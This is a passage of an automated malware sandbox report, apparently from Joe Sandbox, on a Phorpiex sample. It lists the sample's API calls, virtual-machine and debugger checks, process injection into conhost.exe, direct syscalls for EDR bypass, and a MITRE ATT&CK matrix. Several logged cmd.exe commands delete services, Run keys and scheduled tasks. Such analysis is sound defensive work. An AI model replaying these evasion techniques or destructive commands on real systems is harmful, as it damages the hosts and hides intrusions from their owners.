Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00406690 CreateDirectoryW,wsprintfW,FindFirstFileW,lstrcmpW,lstrcmpW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,RemoveDirectoryW,	7_2_00406690
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_004067D0 _chkstk,wsprintfW,wsprintfW,wsprintfW,wsprintfW,wsprintfW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,PathFileExistsW,SetFileAttributesW,DeleteFileW,PathFileExistsW,CreateDirectoryW,SetFileAttributesW,PathFileExistsW,CopyFileW,SetFileAttributesW,PathFileExistsW,SetFileAttributesW,FindFirstFileW,lstrcmpW,lstrcmpW,lstrcmpiW,PathMatchSpecW,wsprintfW,SetFileAttributesW,DeleteFileW,PathFileExistsW,wsprintfW,wsprintfW,MoveFileExW,FindNextFileW,FindClose,	7_2_004067D0

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,

1_2_00402020

Source: C:\Windows\sysludpvs.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\sysludpvs.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.12.dr	Binary or memory string: VMware
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.12.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.12.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000C89000.00000004.00000020.00020000.00000000.sdmp, a0RkmvhSaf.exe, 00000000.00000002.1380429916.0000000000CB7000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000002.3804478092.000000000059E000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000003.1445201251.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000003.1445675085.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000002.3804478092.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, 152942395.exe, 00000005.00000002.2128797812.0000000001064000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.12.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 152942395.exe, 00000005.00000002.2128797812.0000000001036000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(
Source: Amcache.hve.12.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.12.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: VMware Virtual RAMX
Source: Amcache.hve.12.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.12.dr	Binary or memory string: VMware-42 27 d9 2e dc 89 72 dd-92 e8 86 9f a5 a6 64 93
Source: Amcache.hve.12.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.12.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: 2028814805.exe, 00000021.00000002.1820333386.0000000000C8C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: Amcache.hve.12.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.12.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.12.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.12.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.12.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.12.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.12.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.12.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.12.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.LOG1.12.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.24224532.B64.2408191502,BiosReleaseDate:08/19/2024,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: sysludpvs.exe, 00000002.00000003.1445201251.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000003.1445675085.00000000005FC000.00000004.00000020.00020000.00000000.sdmp, sysludpvs.exe, 00000002.00000002.3804478092.00000000005FC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWC
Source: Amcache.hve.12.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	API call chain: ExitProcess graph end node	graph_1-4387
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	API call chain: ExitProcess graph end node	graph_1-4395
Source: C:\Windows\sysludpvs.exe	API call chain: ExitProcess graph end node	graph_7-4421
Source: C:\Windows\sysludpvs.exe	API call chain: ExitProcess graph end node	graph_7-4395

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

Code function: 0_2_00F81B48 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,

0_2_00F81B48

Source: C:\Users\user\AppData\Local\Temp\230053364.exe

Code function: 1_2_0040A050 GetProcessHeaps,

1_2_0040A050

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe	Code function: 0_2_00F81B48 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		0_2_00F81B48
Source: C:\Users\user\AppData\Local\Temp\152942395.exe	Code function: 5_2_007B1CA8 IsDebuggerPresent,_crt_debugger_hook,SetUnhandledExceptionFilter,UnhandledExceptionFilter,_crt_debugger_hook,GetCurrentProcess,TerminateProcess,		5_2_007B1CA8

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\634722489.exe

Memory allocated: C:\Windows\System32\conhost.exe base: 218E1C80000 protect: page execute and read and write

Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\AppData\Local\Temp\634722489.exe

Thread created: C:\Windows\System32\conhost.exe EIP: E1C80000

Jump to behavior

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Users\user\AppData\Local\Temp\634722489.exe	NtCreateThreadEx: Direct from: 0x401A17	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	NtWriteVirtualMemory: Direct from: 0x401D57	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	NtProtectVirtualMemory: Direct from: 0x401DD7	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	NtClose: Direct from: 0x401CD7
Source: C:\Users\user\AppData\Local\Temp\634722489.exe	NtAllocateVirtualMemory: Direct from: 0x401D97	Jump to behavior

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\634722489.exe

Memory written: C:\Windows\System32\conhost.exe base: 218E1C80000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\634722489.exe	Process created: C:\Windows\System32\conhost.exe "C:\Windows\System32\conhost.exe" ""	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "Windows Services" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "Windows Services"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\Windows Services" /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpla" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpla"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpla" /f
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinSrvcsDrv" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinSrvcsDrv"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinSrvcsDrv" /f
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Service" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Service"
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinDrvUpd" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinDrvUpd"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinDrvUpd" /f
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Windows Upgrade Manager" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /delete /f /tn "Windows Upgrade Manager"
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinUpdt" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinUpdt"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinUpdt" /f
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c sc delete "WinMngr" & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc delete "WinMngr"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WinMngr" /f

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: GetLocaleInfoA,strcmp,	1_2_0040E8A0
Source: C:\Windows\sysludpvs.exe	Code function: GetLocaleInfoA,strcmp,	2_2_0040E8A0
Source: C:\Windows\sysludpvs.exe	Code function: GetLocaleInfoA,strcmp,	7_2_0040E8A0

Source: C:\Users\user\AppData\Local\Temp\2052810334.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2052810334.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\417928448.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\417928448.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2047112978.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2047112978.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\399630275.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\399630275.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\2028814805.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\2028814805.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\393932919.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\393932919.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1216017805.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1216017805.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\38822795.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\38822795.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\396820397.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\396820397.exe VolumeInformation

Source: C:\Users\user\Desktop\a0RkmvhSaf.exe

Code function: 0_2_00F81A78 GetSystemTimeAsFileTime,GetCurrentProcessId,GetCurrentThreadId,GetTickCount,QueryPerformanceCounter,

0_2_00F81A78

Source: Amcache.hve.12.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.12.dr	Binary or memory string: MsMpEng.exe

Remote Access Functionality

Yara detected Phorpiex

Source: Yara match	File source: Process Memory Space: 230053364.exe PID: 8652, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 8672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: sysludpvs.exe PID: 9076, type: MEMORYSTR

Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	1_2_00401470
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	1_2_00402020
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_0040D880 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	1_2_0040D880
Source: C:\Users\user\AppData\Local\Temp\230053364.exe	Code function: 1_2_004013B0 CreateEventA,socket,bind,CreateThread,	1_2_004013B0
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	2_2_00401470
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	2_2_00402020
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_0040D880 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	2_2_0040D880
Source: C:\Windows\sysludpvs.exe	Code function: 2_2_004013B0 CreateEventA,socket,bind,CreateThread,	2_2_004013B0
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00401470 CreateEventA,socket,htons,setsockopt,bind,CreateThread,	7_2_00401470
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_00402020 GetSystemInfo,InitializeCriticalSection,CreateEventA,CreateIoCompletionPort,WSASocketA,setsockopt,htons,bind,listen,WSACreateEvent,WSAEventSelect,	7_2_00402020
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_0040D880 socket,htons,inet_addr,setsockopt,bind,lstrlenA,sendto,ioctlsocket,	7_2_0040D880
Source: C:\Windows\sysludpvs.exe	Code function: 7_2_004013B0 CreateEventA,socket,bind,CreateThread,	7_2_004013B0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	1 Disable or Modify Tools	11 Input Capture	1 System Time Discovery	Remote Services	1 Archive Collected Data	14 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 Windows Service	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	LSASS Memory	1 System Network Connections Discovery	Remote Desktop Protocol	11 Input Capture	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Windows Service	1 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	3 Clipboard Data	1 Non-Standard Port	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	1 Registry Run Keys / Startup Folder	311 Process Injection	1 DLL Side-Loading	NTDS	25 System Information Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Scheduled Task/Job	121 Masquerading	LSA Secrets	241 Security Software Discovery	SSH	Keylogging	23 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Registry Run Keys / Startup Folder	1 Modify Registry	Cached Domain Credentials	2 Process Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	31 Virtualization/Sandbox Evasion	DCSync	31 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	311 Process Injection	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report a0RkmvhSaf.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Phorpiex

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
a0RkmvhSaf.exe